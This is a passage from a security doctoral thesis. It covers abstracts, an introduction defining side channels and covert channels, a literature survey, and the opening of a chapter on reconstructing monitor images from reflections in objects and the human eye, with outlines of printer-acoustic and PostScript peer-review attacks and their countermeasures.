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Abstract

When assessing the security of security-critical systems, it is crucial to con-
sider conceptually new attacks, as appropriate countermeasures can only be im-
plemented against known threats. Consequently, in this thesis we explore new
classes of attacks and evaluate countermeasures.

Our contribution is three-fold. We identify two previously unknown side chan-
nel attacks, i.e., attacks that exploit unintended information leakage. First, we
consider optical emanations, i.e., the unavoidable emanation of every monitor.
We demonstrate how to exploit tiny reflections in stationary objects and the hu-
man eye, and even diffuse reflections in objects such as the user’s shirt. Second,
we study acoustic emanations of dot-matrix printers and show that the printed
text can be reconstructed from a recording of the sound emitted while printing.

Furthermore, we demonstrate a conceptually new covert channel: whereas side
channels leak information unintentionally, in a covert channel there is an explicit
sender that cooperates with the receiver. We present a new covert channel in the
peer-reviewing process in scientific publishing that reveals the reviewer’s identity
to the author. We additionally expose several related problems in the design of
the PostScript language.
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Zusammenfassung

Das Aufdecken neuer Arten von Angriffen ist wichtig zur Verbesserung der
Sicherheit von sicherheitskritischen Systemen, da nur für bekannte Angriffe Gegen-
maßnahmen ergriffen werden können. Deshalb untersuchen wir in dieser Arbeit
neue Arten von Angriffen sowie geeignete Gegenmaßnahmen.

Die Arbeit gliedert sich in drei Teile. Zunächst demonstrieren wir zwei neue
Seitenkanalangriffe, also Angriffe die unbeabsichtigte Informationslecks ausnutzen.
Zum Einen betrachten wir optische Abstrahlungen von Monitoren. Wir zeigen,
dass das Bild des Monitors aus Reflexionen in verschiedenen Objekten rekonstru-
iert werden kann: aus winzigen Reflexionen in vielen stationären Objekten sowie
im menschlichen Auge, und sogar aus diffusen Reflexionen beispielsweise auf dem
Hemd eines Nutzers. Zum Anderen untersuchen wir die akustischen Abstrahlun-
gen von Nadeldruckern und zeigen, dass der gedruckte Text aus einer Aufnahme
der Druckgeräusche rekonstruiert werden kann.

Des Weiteren demonstrieren wir einen neuen verdeckten Kanal: Während Sei-
tenkanäle normalerweise durch unvorsichtige Implementierung entstehen, werden
die Daten auf einem verdeckten Kanal absichtlich übertragen. Wir demonstri-
eren einen neuen verdeckten Kanal im Peer-Review-Prozess zur Begutachtung
wissenschaftlicher Publikationen, welcher die Identität der Gutachter offenlegt.
Darüberhinaus weisen wir auf mehrere grundlegende Probleme im Design der
PostScript Sprache hin.
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Immer wenn uns

Die Antwort auf eine Frage gefunden schien

Löste einer von uns an der Wand die Schnur der alten

Aufgerollten chinesischen Leinwand, so daß sie herabfiele und

Sichtbar wurde der Mann auf der Bank, der

So sehr zweifelte.

Ich, sagte er uns

Bin der Zweifler, ich zweifle, ob

Die Arbeit gelungen ist, die eure Tage verschlungen hat.

Ob, was ihr gesagt, auch schlechter gesagt, noch für einige Wert hätte.

Ob ihr es aber gut gesagt und euch nicht etwa

Auf die Wahrheit verlassen habt dessen, was ihr gesagt habt.

Ob es nicht vieldeutig ist, für jeden möglichen Irrtum

Tragt ihr die Schuld. Es kann auch eindeutig sein

Und den Widerspruch aus den Dingen entfernen; ist es zu eindeutig?

Dann ist es unbrauchbar, was ihr sagt. Euer Ding ist dann leblos

Seid ihr wirklich im Fluß des Geschehens? Einverstanden mit

Allem, was wird? Werdet ihr noch? Wer seid ihr? Zu wem

Sprecht ihr? Wem nützt es, was ihr da sagt? Und nebenbei:

Läßt es auch nüchtern? Ist es am Morgen zu lesen?

Ist es auch angeknüpft an vorhandenes? Sind die Sätze, die

Vor euch gesagt sind, benutzt, wenigstens widerlegt? Ist alles beleg-

bar?

Durch Erfahrung? Durch welche? Aber vor allem

Immer wieder vor allem anderen: Wie handelt man

Wenn man euch glaubt, was ihr sagt? Vor allem: Wie handelt man?

Nachdenklich betrachteten wir mit Neugier den zweifelnden

Blauen Mann auf der Leinwand, sahen uns an und

Begannen von vorne.

— Bertold Brecht, Der Zweifler
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First things first, but not necessarily in

that order.

— Doctor Who

1
Introduction and Overview

Discovering conceptually new attacks is a crucial task when assessing the security
of sensitive systems, as precautions can only be taken and countermeasures can
only be implemented against threats that are known. In this thesis we demon-
strate two novel side channel attacks on computer peripherals, and a novel covert
channel in the peer-reviewing process in scientific publishing.

Side channel attacks form a class of attacks that exploit unintended informa-
tion leakage to break the security of a system. This leakage is typically caused
by physical emanations such as sound, electromagnetic emanation, or the execu-
tion time of algorithms. These attacks constitute a severe threat to almost any
electronic device that processes sensitive information. Side channel attacks based
on electromagnetic emanations were known to the military for a long time; they
were used as early as during World War I. More recently, starting in 1996 with
the work of Paul Kocher [62], several new classes of side channel attacks such as
timing attacks, optical attacks, and thermal attacks were discovered, forming an
entirely new threat.

Covert channels are a method to intentionally leak information where no infor-
mation should be leaked. In contrast to side channels, there is an explicit sender
cooperating with the receiver in order to transmit information. Covert channels
can have a variety of applications, ranging from bypassing Internet censorship to
circumventing information flow policies that protect sensitive information. Covert
channels were first described in 1973 by Lampson [70]. We provide more details
on side channel attacks and covert channels in the sequel.
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Chapter 1 Introduction and Overview

1.1 Side Channel Attacks

Analyzing the security of a cryptographic system requires assumptions about the
attacker’s capabilities, also called an attack model. A security proof guarantees
that no attack exists in the attack model. A side channel attack is an attack which
is feasible in a realistic setting, yet lies outside the considered attack model, and
thus is not covered by a security proof based on this model.

To illustrate the concepts of attack models and side channel attacks we con-
sider two examples: First, we consider the security of a remote shell login. A
typical attack model considers the packets sent over the network, the strength
of the password (i.e., how difficult it is to guess the password), and the data dis-
played on the computer screen. The timing of the packets, however, is typically
not considered. A side channel attack can utilize these timings to obtain the tim-
ing between key-presses; such timings were shown to give substantial information
on the characters that compose the password, thus substantially shrinking the
search-space [115]. Another side channel often not considered is the sound emitted
by the keyboard when a key is pressed, which also reveals a substantial amount
of information [8, 137, 18]. Second, we consider the RSA public-key encryption
scheme. The encryption of a message m is computed as c = me mod N , where e
and N = p ·q form the public key; the decryption of a ciphertext c is computed as
m = cd mod N , where d = e−1 mod (p− 1)(q − 1) is the secret key. The attack
model which is usually considered for public-key encryption treats the encryption
and decryption operation as mathematical functions and gives the attacker ora-
cle access only.1 The RSA function itself does not constitute a secure encryption
scheme, but the security of slightly adapted schemes such as RSA-OAEP can be
proven in this attack model under certain assumptions.2 However, in a realistic
setting often additional information is available to an attacker, e.g., an attacker
might be able to measure the execution times of the algorithms. The exponen-
tiation operation in the encryption and the decryption are usually computed by
the square-and-multiply algorithm (or a variation hereof), which loops over all
bits of the exponent and executes a computationally expensive operation if the
exponent bit is set. Consequently, the execution time depends on the secret key.
A side channel attack on SmartCards using RSA encryption was demonstrated by
Paul Kocher in 1996: Kocher showed that the secret key of RSA decryption can
be reconstructed from a sufficiently large number of execution time/ciphertext
pairs [62].

1One can consider various goals for the adversary, and the exact access patterns to these
oracles can vary. A common notion is indistinguishability under chosen-ciphertext attacks (IND-
CCA2), where the adversary tries to distinguish encryptions of two different messages he chose,
and the adversary gets access to both the encryption function and the decryption function before
and after seeing the challenge ciphertext (decrypting the challenge ciphertext is excluded).

2The security of RSA-OAEP is proven assuming that the RSA function is a trapdoor permu-
tation and in the Random Oracle Model, where hash functions are treated as random functions
(“ideal hash functions”).
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1.2 Covert Channels

Side channel attacks exploit information which is available to the attacker but
not considered in the attack model; we call this information side information. A
side channel is defined relative to a given attack model, but the attack model is
often not stated explicitly.

A side channel is a communication channel that exists unintentionally
and is not contained in the considered attack model.

The presence of a side channel does not necessarily lead to an attack, as the
information it leaks may not be sensitive, or might not be sufficient to actually
break the security. (For example, implementations of RSA based on square-
and-multiply typically leak the Hamming-weight of the decryption key, but this
information is not sufficient to reconstruct the key.) A side channel attack exists
if enough information is leaked.

A side channel attack is an attack that exploits a side channel and
leads to a security breach.

Definitions of side channels were given previously, e.g., by Wagner [126] (see
also [85]) or by Bar-El [15], and they all have slight differences. Most differences
are minor, but one conceptual difference is that previous definitions did not con-
sider side channels relative to an attack model. We believe that it is necessary
to consider the attack model when defining side channels and illustrate this with
an example: Assume a protocol where a designer unintentionally chose a weak
cipher to encrypt sensitive data, and this (weakly encrypted) data is sent over the
network; assume further that the attack model gives the adversary access to the
data sent over the network. As the encryption is weak, the attacker can break it
and thus retrieve the sensitive data from the data sent over the network. This is
an “unintentional leak of information” and thus constitutes a side channel attack
according to Wagner’s definition [126]. However, it is our understanding that
this example does not constitute a side channel, but an ordinary cryptographic
weakness, thus previous definitions are too broad.

Our definition does not explicitly require that a side channel is based on
physical phenomena, even though (almost) all side channels we are aware of do.
It is our understanding that this is not an inherent characteristic of side channels,
but non-physical channels are typically considered in the attack model.

1.2 Covert Channels

Covert channels can intentionally leak information where no information should
be leaked. Whereas for a side channel the information is transmitted unintention-
ally by the legitimate system, usually caused by unfortunate design choices made
by the developers, a covert channel has an explicit sender cooperating with the
receiver. The sender uses a channel which is not intended for the communication,
called the cover channel.

3



Chapter 1 Introduction and Overview

Covert channels were introduced in 1973 by Lampson [70]. He demonstrated
the presence of several covert channels that can send arbitrary data between two
(seemingly) isolated processes on multi-user systems; these processes constitute
the sender and the receiver of the channel. One example that he devised uses file
locks as the cover channel, e.g., the sender can represent the Boolean value 1 by
a locked file and the Boolean value 0 by an unlocked file. Another example that
he demonstrated uses the system load as the cover channel, e.g., the value 1 can
be encoded as a system load above average, and the value 0 can be encoded as a
system load below average. More recent covert channels use other cover channels
such as Internet traffic. In a typical scenario, both the sender and the receiver are
computers on the network, with their network connection monitored by a packet
filter. Arbitrary data can be sent, e.g., by using otherwise unused header fields or
by modulating the packet timing [81, 5, 30], depending on the exact capabilities
of the filter. Well-designed covert channels can defeat even active attempts to
remove covert data from the Internet traffic.

Covert channels transmit data in situations in which no data should be trans-
mitted, thus a covert channel should be “hard to detect” by an outside observer.
We define covert channels as follows:

A covert channel is a channel where both the sender and the receiver
collude to transmit information. This channel is hard to detect for an
outside observer, uses a cover channel not intended for the communi-
cation, and violates an information flow policy.

Previous definitions of cover channel were given, e.g., in the Common Crite-
ria Catalog [96], or by Wagner [126] (see also [85]). The key difference between
our definition and previous definitions is that we require the covert channel to
be “hard to detect” by an outside observer. We illustrate the necessity of this
requirement with an example. Consider a large corporation and a sender with
access to the main router. The sender can transmit information to a large site,
e.g., Google, by shutting down the main up-link for an hour to transmit the
value 0, or by not shutting down the link to send the value 1. Chances are high
that within an hour some employee will try to visit the Google homepage. Thus
the receiver at Google can determine with reasonable accuracy if the company’s
up-link is online or offline. However, switching off the main router strongly influ-
ences the legitimate cover channel, i.e., the company’s Internet connection, and
is easily detectable. Consequently, this example should not be considered as a
covert channel.

1.3 Our Motivation

One observation is consistent for almost all known side channels: once a side
channel was discovered, appropriate countermeasure were found quickly. Thus, to
ensure security, the key task is finding a new side channel before it gets exploited

4



1.4 Contribution of the Thesis

by malicious people. Then one can evaluate their limitations and find appropriate
countermeasures. We illustrate this observation with two examples.

Electromagnetic emanation constitute one the oldest class of side channels.
Some attacks based on electromagnetic emanation can be carried out over a
great distance under realistic conditions using cheap equipment only, such as
the attack published by van Eck [122]. Furthermore, various researchers have
found that most electronic devices can be attacked based on their electromag-
netic emanations. The obvious countermeasure consists of shielding devices and
cables. In fact, sensitive areas of governmental and military organizations, and
possibly also of industry, are protected against electromagnetic emanations by ex-
tensive metallic shielding [39]. Additionally, the installations follow the so-called
red/black separation principle [87, 108], where devices and cables with sensitive
information are physically separated from devices and cables with public infor-
mation to avoid cross-talk and thus the leakage of sensitive information.

Timing attacks are side channel attacks that are particularly efficient against
encryption schemes and signature schemes implemented on SmartCards, most no-
tably against RSA [62]. Countermeasures against timing attacks are implemented
on all current SmartCard implementations of RSA we are aware of. Usually, in-
put blinding is used to de-correlate the execution time from the input and thus
invalidate the attack [62]; alternative countermeasures include exponent blinding
and modulus blinding [62].

These examples show that finding new side channels is of great importance,
because precautions can only be taken if a threat is known and its limitations are
clear. Consequently, in this work we explore novel side channels, evaluate their
limitations, and propose appropriate countermeasures.

1.4 Contribution of the Thesis

Our contribution is three-fold. We show two novel side channel attacks on com-
puter peripherals, and a novel covert channel in the peer-review process in scien-
tific publishing.

Optical emanations. First, we explore optical emanations, i.e., the unavoid-
able emanation of every monitor. We demonstrate how to spy on confidential
data displayed on a computer monitor by exploiting tiny reflections in a large
variety of objects that are typically located in every office. To the best of our
knowledge, this is the only attack that applies to monitors in today’s typical envi-
ronments, where TFT monitors have replaced CRT monitors and electromagnetic
radiation can be (and in highly-sensitive areas actually is) shielded. This attack
is particularly interesting because it is hard to avoid: the optical emanation it
exploits is not a side-product of computation, such as electromagnetic emana-
tions, but is part of the desired functionality and thus cannot easily be avoided.
The conceptually simplest form of this attack exploits reflections in stationary
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Chapter 1 Introduction and Overview

objects such as teapots and glasses: capturing the reflections in these objects is
particularly easy and can be accomplished even with low-cost equipment.

Reflections in the human eye are a particularly interesting target, as the eye
is present in essentially any environment where sensitive information is displayed.
Consequently, these reflections pose a threat much more difficult to mitigate.
However, compared with stationary objects, the eye is a target much more dif-
ficult to spy on, due to its strong curvature and the resulting small size of the
reflections. To recover reflections from the human eye we thus deploy extensive
post-processing of the captured images. But still, physical phenomena limit the
resolution we can obtain. These limitations constitutes a bound that scales lin-
early in the telescope diameter, thus we can extrapolate our results and obtain a
linear trade-off between the resolution and the telescope diameter.

We also investigate if text can be reconstructed from the diffuse reflections
that are visible on a nearby wall or on the user’s shirt. Even though at a first
glance it might look impossible, we show that some information can indeed be
reconstructed. However, we also prove strong bounds on the effectiveness of this
reconstruction, and propose and evaluate countermeasures.

Acoustic emanations. Second, we study acoustic emanations of dot-matrix
printers. Clearly, the noise of dot-matrix printers leaks some very limited amount
of information; e.g., one can hear blank lines with the bare ear. However, prior to
this work it was not known whether useful information is leaked, e.g., if enough
information is leaked to actually retrieve the printed text from the acoustic em-
anation. Even if useful information is leaked, it was not known whether this
information could be automatically retrieved. We answer both questions in the
affirmative. We present an automated tool that can accurately retrieve 70 % of
the printed words. We adapt techniques from audio processing to match a record-
ing against a database of possible words, and we use techniques from language
engineering, in particular Hidden-Markov models, to improve the output.

Covert channel in the peer-review process. Third, we describe a new
covert channel in the peer-review process in scientific publishing, which is based
on the PostScript file format, and we expose several related problems in the design
of the PostScript language.

In the scientific peer-review process, the submission prepared by the author is
sent to one or more reviewers. Each reviewer writes an evaluation; the collected
evaluations form the basis for accepting or rejecting the paper. The identity
of the reviewers is usually hidden from the author to ensure the fairness of the
process. We demonstrate how to create PostScript documents that allow the
author to de-anonymize the reviewer. The basic idea is that PostScript is not
only a Turing-complete language, but additionally offers commands for accessing
the file system and other internals of the computer. Thus the document prepared
by the author and rendered on the reviewer’s computer can access data that
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reveals the identity the reviewer. The document can adapt the displayed text
to encode the author’s identity into details that a reviewer is likely to report,
e.g., spelling errors. The author can extract this information from the reviewer’s
report, which is usually sent to him in anonymous form.

Furthermore, we demonstrate that the PostScript language is sufficiently ex-
pressive to write self-replicating viruses that infect PostScript documents and
spread without interaction with the user; we even show that such a virus can
be modified to be provably undetectable by (strongly) restricted classes of virus
scanners. In addition, we found that some implementations of PostScript inter-
preters do not even provide a minimal form of security—they grant the PostScript
document arbitrary access to the file system, including write access. We informed
the developers; all interpreters we are aware of have now been fixed.

1.5 Related Literature

In this section we give a broad overview of historic and current research; a more
detailed treatment of relevant related work is postponed to the later chapters.

1.5.1 Military History

Side channel attacks have been studied for a long time, mostly unknown to the
public, by governmental and military organizations. As early as World War I, the
German army was able to eavesdrop on the enemy’s field phone lines [17, 133].
At this time, most field phones were connected with a single wire, using the
ground instead of a second wire. The ground current could be captured by
electrodes that were put in the ground, even at some distance from the direct
connection. In the 1950s, the British successfully spied on the French embassy
by capturing faint signals that were present on the output line, in addition to
the encrypted signal [131, pp. 109f]. These faint signals were probably caused by
cross-talk either inside the machine or at the cables connected to the machine.
In 1956, the British succeeded in using microphones in the Egyptian embassy
to spy on the (mechanical) Hagelin encryption device [131, p. 82]. The sound
emitted by the machine while setting up the daily initial rotor position (by a
sequence of secret operations that changed from day to day) revealed enough
information to reconstruct the initial positions with good confidence. In 1962,
the Japanese used antennas to capture electromagnetic emanations of American
cipher machines [88], most likely to obtain the plaintexts without attacking the
cipher.

A number of countermeasures have been proposed to counter these attacks.
Field telephone lines were constructed with double cabling, despite the higher
requirements in material and logistics, and very precise cabling instructions were
given to avoid cross-talk and emanations. Sensitive areas of governmental and
military organizations (and possibly also in industry) are protected against elec-
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tromagnetic emanations by extensive metallic shielding [39]. For avoiding the
leakage of sensitive information via cables, power lines, and so on, the NSA has
specified the red/black separation principle [87, 108]: Red devices and cables
may contain, process, or carry sensitive information, while black equipment may
contain public data and encrypted sensitive data only. An encryption machine
“converts” red signals to black signals, so their construction needs special at-
tention. The standard also specifies minimum distances between, e.g., red and
black cables to limit the amount of cross-talk. The German BSI (Bundesamt
für Sicherheit in der Informationstechnik) maintains similar specifications, the
so-called Zonenmodell [49].

1.5.2 Side Channel Attacks

In this section we give an overview of more recent side channel attacks, grouped
by channel and approximately ordered by the time of discovery.

Electromagnetic Emanation. The first attack that was published openly was
given in 1985 by Vim van Eck [122], demonstrating that off-the-shelf equipment
is sufficient to capture the electromagnetic emanation of a CRT monitor from dis-
tances of several hundred meters and to reconstruct the monitor image. An early
discussion of these results can be found in [55]. Since then, virtually every elec-
tronic device has been found to leak information in its electromagnetic emanation.
Electromagnetic emanations that constitute a security threat to computer equip-
ment result from poorly shielded RS-232 serial lines [114], keyboards [6, 125], as
well as the digital cable connecting modern LCD monitors [66]. We refer to [67]
for a discussion of the limits of electromagnetic emanation. Attacks based on elec-
tromagnetic emanation have also been successfully applied to SmartCards [50].
Additionally, their reliance on external power supplies and clock signals makes
SmartCards vulnerable to other kinds of attacks as well.

Acoustic Emanations. Acoustic emanations appeared briefly in the open liter-
ature in 1991, when Briol—in a paper dedicated to electromagnetic emanations—
briefly mentioned that “sensorous vibrations” of printers might constitute a secu-
rity risk [26]. More recently, it was noticed that almost any keyboard produces
sound when its keys are touched or pressed; these acoustic emanations were shown
to reveal the text typed on most keyboards [8, 137, 18]. Another approach uses
two microphones and triangulation to find out the position of the key that was
pressed [47]. Acoustic emanations of CPUs, more precisely acoustic emanations
of capacitors mounted close to the CPU, have been shown to leak information
about the CPU state and the instructions being executed [112].

Timing Information. The first timing attack was demonstrated in 1996 by
Paul Kocher. He showed that the execution time of almost any implementation
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of RSA on SmartCards (at that time) leaked sufficient information to reconstruct
the secret key [62]. A large number of extensions and related attacks followed, in
particular differential timing analysis [63], a timing attack against RSA using the
Chinese Remainder Theorem [107], and many more (e.g., [28, 42]). Most timing
attacks target at SmartCards and assume that the attacker controls the card
reader; the applicability of timing attacks remotely over a network was shown
in [28].

Countermeasures against timing attacks are implemented in all current im-
plementations of RSA we are aware of. Most implementations use input blinding,
which goes back to the idea of blind signatures [31]; this countermeasure ran-
domizes the input in a way that can be undone after the exponentiation step.
Although input blinding counters all known timing attacks, it is not proven to
provide security against all feasible timing attacks. Indeed, recent work indicates
that blinded implementations still could leak information, in a weak, information-
theoretic sense [13]; related work proves that the overall amount of information
that can leak is quite low if the execution time is quantized to very few possible
outcomes [64], thus giving a provably secure countermeasure. In addition to in-
put blinding, other countermeasures against timing attacks have been proposed,
including exponent blinding and modulus randomization [62, 63]. These have
also not been proven secure, and, to the best of our knowledge, are not used in
practice.

One special class of timing attacks, called cache attacks, exploits the vastly
different timing characteristics of a cache-hit and a cache-miss. These different
timings can leak information if the hit or miss depends on the secret key [92, 20].
Cache attacks are particularly effective for many (symmetric) ciphers, as these
often rely on S-Boxes, which are typically implemented as table-lookups to speed
up the implementation.

So far, all timing attacks considered the execution time of an algorithm. A
conceptually different attack used the timing information of SSH packets sent
over a public network. It was shown that this timing information leaks infor-
mation about the typed text [115], due to different inter-keystroke timings. On
the positive side, timing characteristics can also be used as an additional factor
in authentication. One can extract certain characteristics of the timing between
key-strokes for each user, and verify these characteristics when a user authenti-
cates [79, 80, 121].

Power Consumption. Power analysis considers the variation of power con-
sumption of cryptographic hardware, most prominently SmartCards, because
these often rely on an external power source [63, 69, 77, 117, 127].

Optical Emanations. Optical emanations of monitors are an easy target when
there is a direct line of sight from the attacker to the monitor’s screen. If there
is no direct line of sight, then the time-varying diffuse reflections of the light
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emitted by a CRT monitor can be exploited to recover the original monitor
image [65]. This approach exploits the point-wise image construction and the
time-characteristics of the light-emitting material used in CRT monitors and con-
sequently does not apply to monitors that do not construct images in this fashion,
such as LCD monitors. Reflections of images from a human eye were briefly men-
tioned in [89], but without considering the implications on security: they only
considered low resolutions and small distances, they did not explore technical
and algorithmic approaches to extend the resolution, and they did not consider
bounds of the attack.

Not only monitors leak sensitive information via optical emanation: status
LEDs of a number of electronic devices were shown to leak (potentially) sensitive
information [73].

Thermal Emanations. Anonymous overlay networks such as Tor [120] can
offer location-hidden services, i.e., services that can be accessed via the anonymity
network, but where the server running the service is not known to the public.
It was shown that thermal emanation can reveal these hidden locations [84]:
Increasing the work-load of the hidden service heats up the server and induces
clock jitter on the system clock; this clock jitter can then be detected on the
server, thus revealing its location.

1.5.3 Covert Channels

The first examples of covert channels were introduced by Lampson [70]. He
demonstrated a covert channel between two isolated processes on multi-user sys-
tems using file locks, and another one based on modulation of the system load.
More recent work is often concerned with covert channels that transmit data
on an electronic link, usually a network connection, e.g., by exploiting different
execution times resulting in observably different behaviors [81, 5, 30], or by em-
ploying steganographic techniques to hide data within other data. (See [7] for
a survey). A common use-case for covert channels is transmitting information
across Internet packet filters. There are several cryptographic techniques that are
related to covert channels: Robust watermarking schemes [38, 54] provide mea-
sures that prevent a watermark from being removed from the document. Traitor
tracing schemes [34, 25, 19] allow for detecting a party who leaked a secret, e.g.,
a secret decryption key.

1.6 Thesis Outline

This thesis is organized as follows: In Chapter 2 we investigate compromising
reflections. We provide a brief introduction to image processing (Section 2.2),
and demonstrate an attack based on optical emanation for the simpler case of
stationary objects (Section 2.3), where the highest reconstruction quality can
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be achieved, and show that reasonable quality can even be achieved using low-
cost equipment (Section 2.4). We show that this attack can be carried out in-
field (Section 2.5). We show how to reconstruct reflections from the human
eye (Section 2.6), including a brief introduction to image deconvolution. We also
consider diffuse reflections, for example at a white wall, and prove a strong bound
on this kind of attack (Section 2.7). Finally, we investigate and evaluate several
countermeasures (Section 2.8). The main results of the work presented in this
chapter was published in two papers at the IEEE Symposium on Security and
Privacy 2008 and 2009 [12, 9].

In Chapter 3 we consider acoustic emanations of printers. First we provide
an overview of the attack (Section 3.2) and provide the technical details in the
subsequent sections (Sections 3.3 and 3.4). We present the results of our exper-
iments (Section 3.5) and we discuss countermeasures (Section 3.6). Finally, we
provide details on the in-field attack we conducted (Section 3.7). A paper on the
material presented in this chapter is currently in preparation [10]; parts of this
paper are based on Sebastian Gerling’s Master’s Thesis [51].

In Chapter 4 we demonstrate several weaknesses in the design of the PostScript
language and the implementation of common interpreters. First, we give a brief
introduction to the PostScript language (Section 4.2), discuss some implemen-
tation issues of PostScript interpreters (Section 4.3), and present some simple
attacks based on PostScript (Section 4.4). Next, we present a virus written en-
tirely in PostScript, which provably hides from detection for restricted classes of
virus scanners (Section 4.5). The main contribution of this section is the covert
channel in the peer-review process (Section 4.6). We conclude the chapter with
a brief discussion on implementing similar attacks based on the PDF file format
(Section 4.7) and a brief discussion of countermeasures (Section 4.8). The cen-
tral part of this chapter, presented in Section 4.6, was published at the IEEE
Symposium on Security and Privacy 2007 [11]. Some of the attacks presented in
Section 4.4 were demonstrated in a presentation at CeBit 2007, and a preliminary
form of the material in Section 4.5 is covered in Robert Künemann’s Bachelor’s
Thesis [68]. Chapter 5 concludes this thesis.
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Ein Hase sitzt auf einer Wiese,

des Glaubens, niemand sähe diese.

Doch im Besitze eines Zeisses,

betrachtet voll gehalt’nen Fleißes

vom vis-á-vis geleg’nen Berg

ein Mensch den kleinen Löffelzwerg.

Ihn aber blickt hinwiederum

ein Gott von fern an, mild und stumm.

— Christian Morgenstern, Vice Versa 2
Optical Side Channels:

Compromising Reflections

We explore optical emanations and demonstrate that reflections in a large variety
of objects can be exploited to spy on confidential data displayed on a computer
monitor. This kind of attack is particularly interesting because it is hard to avoid;
the optical emanations that are exploited are not a side-product of computation,
as for electromagnetic emanations, but are part of the normal operation of the
device. To the best of our knowledge, this is the only attack that applies to
monitors in security-aware environments, where electromagnetic emanations are
shielded.

2.1 Introduction

Most side channel attacks exploit undesired emanation of a device, and thus can
usually be prevented by avoiding or shielding the emanation. Electromagnetic
emanation is prevented by shielding devices, cables, or entire rooms; power anal-
ysis can be prevented using capacitors and other measures to stabilize power
consumption of the device, or by using specialized circuit designs that use (al-
most) constant current regardless of their operation; acoustic emanation can be
controlled by using “silent” devices, e.g., keyboards, or by making sure that no
microphone or similar device is present.

The side channel we consider in this chapter is not an idiosyncrasy of the
computer’s behavior, but it exploits the optical emanation of the screen – and
hence its proper functionality – in combination with everyday objects that are
located in close proximity to the screen such as tea pots, eyeglasses, plastic bottles,
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Figure 2.1: The basic setting. The monitor faces away from the window in an attempt
to hide the screen’s content.

spoons, or the eye of the user. What makes this kind of attack particularly
interesting is that, (i) it cannot be easily shielded (in contrast to most other
emanations), as the emanation is part of the normal operation, and (ii) it works
with any type of monitor. In fact, this attacks is the only known side channel
attack against monitors that applies in today’s typical environments, where CRT
monitors have been replaced by TFT monitors and electromagnetic radiation can
be, and in highly-sensitive areas actually is, shielded.

We explore four different aspects of optical emanation: First, we consider
reflections in stationary objects such as teapots or glasses, which constitutes the
simplest form of the attack. Second, we consider reflections in the human eye.
These reflections are much harder to capture due to the smaller size and the
movement of the eye; we use image deconvolution techniques to leverage these
problems. Third, we consider diffuse reflections, which are even harder to exploit
as the blur is even stronger. While we are still able to recover some information,
our main result here is a bound on the resolution that can be obtained. Fourth,
we consider countermeasures and limitations for these attacks.

Reflections in stationary objects. The first attack bases on the idea that the
image of the screen can be reconstructed from reflections on stationary objects
(an example is shown in Figure 2.2)1. We demonstrate that this idea can be
successfully realized in practical scenarios. We show that from distances as far
as 20 meters and with stationary objects, off-the-shelf equipment is sufficient to
read fonts with realistic sizes from the monitor. We also show that inexpensive
equipment is sufficient to spy from a distance of up to 10 meters.

1Here and in the following we focus on the (common) setting in which the screen is facing
away from the window, see Figure 2.1, and on curved reflection surfaces, since reflections on
these surfaces cover a large area of the environment; this increases the likelihood that a reflection
of the screen’s content can be eavesdropped on the object.
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Figure 2.2: Reflections in a tea pot from a distance of 20 meters, using a 235 mm
Schmidt-Cassegrain telescope.

Reflections in the human eye. Capturing reflections from the human eye is
particularly interesting, as the eye is present in essentially any environment where
sensitive information is displayed. Experiments from a short distance indicate
that the eye indeed produces sharp reflections as shown in Figure 2.3. This
attack poses a threat much more difficult to mitigate, as the eye is naturally
present in most critical scenarios, but the attack is also more difficult to carry
out.

The attack is limited by three different types of blur, namely out-of-focus
blur, caused by incorrect focus, motion blur, caused by movement of the eye,
and diffraction blur, caused by the optical phenomenon of diffraction. Capturing
high-resolution images over a large distance typically requires the use of large
focal length and large apertures. This, however, results in a small depth-of-field,
i.e., only objects that are precisely in focus appear sharp, and objects that are
slightly out-of-focus are significantly blurred. Consequently, focusing is sensitive,
and out-of-focus blur can barely be avoided during capture, in particular for
moving objects such as the human eye. Motion blur, on the other hand, is caused
by the rapid movement of the eye. Diffraction blur is an optical phenomenon
caused by the limited aperture of the telescope. The aperture basically erases
the high frequency parts of the image. This information is effectively lost, thus
it cannot be reconstructed from the blurred image.2

In computer graphics, blur is described by a point spread function (PSF),
which models the redistribution of energy from each point of the (unobservable)
sharp image to each point of the blurred image. Given a description of the PSF
and the blurred image, the task is to reconstruct the sharp image. This process is
known as (non-blind) deconvolution. We demonstrate how to use image deconvo-
lution algorithms to improve the image quality. We show that both motion blur
and out-of-focus blur can be efficiently removed. In contrast, diffraction blur can-
not effectively be removed and thus seems to constitute a fundamental limitation

2One exception occurs when there is sufficient additional information about the image, e.g.,
if it is known that the image of a (point-like) star was captured, then the exact location of the
star can be determined even in the presence of strong diffraction blur.
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Figure 2.3: Image taken with a macro lens from short distance, where additionally the
distance between the eye and the monitor was reduced. Readability is essentially limited
by the camera resolution.

of the applicability of the attack. One central challenge is to measure the PSF.
While deconvolution algorithms exist that determine the PSF in the process of
deconvolution (this is called blind deconvolution), their running time and their
output quality are worse than those of non-blind deconvolution algorithms. We
identify and test two possible practical approaches to determine the PSF.

Our results get close to the diffraction limit, i.e., we are essentially able to
obtain the physical optimum. This in turns lets us eliminate the possibility of
further improvements and provides a bound on the applicability of this type of
attacks.

Diffuse Reflections. A related attack we explore bases on diffuse reflections.
The light emitted by TFT monitors is slightly directed, thus the image projected
on a white wall constitutes a (very) unsharp version of the monitor’s image. Using
image deconvolution algorithms and a precise estimate of the characteristics of
the added blur, we show that a limited resolution can be reconstructed. The
reconstruction works better if the user deploys a privacy filter to protect himself
from people spying over his shoulder, as these filters direct the light coming
from the monitor and thus decrease the size of the point-spread function. Thus,
ironically, the user’s attempt to increase his privacy actually weakens it.

Limitations and Countermeasures. We also evaluate limitations of these
attacks, and we discuss a number of possible countermeasures. For glossy reflec-
tions, limitations come from diffraction of the light at the telescope’s aperture,
which needs to be rather large to achieve high resolution from a reasonable dis-
tance, in particular when the reflection is very small such as with the human eye.
Another factor is the limited amount of light which is available, as the reflection
is small and the distance is large. Consequently, shot-noise caused by the quan-
tization of photons is problematic. For diffuse reflections, the reconstruction is
a highly ill-posed problem, and we obtain a strong bound from the numerical
instability of this process. These bounds enable us to estimate the risk implied
by the attacks in a given environment.
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Figure 2.4: Reflections captured in the eye from a distance of 10 meters.

We evaluate a number of countermeasures, ranging from simple ones to more
advanced ones based, e.g., on suitably aligned polarization filters or on color
filters with specifically matched transmission characteristics.

2.1.1 Related Literature

The work that comes closest to ours [65] demonstrates that diffuse reflections
of the light emitted by a CRT monitor can be exploited to recover the original
monitor image. This attack exploits the point-wise image construction and the
time-characteristics of the light-emitting material used in CRT monitors. This
technique hence does not apply to monitors that do not construct images in this
fashion; in particular, it does not apply to LCD monitors. Our approach is differ-
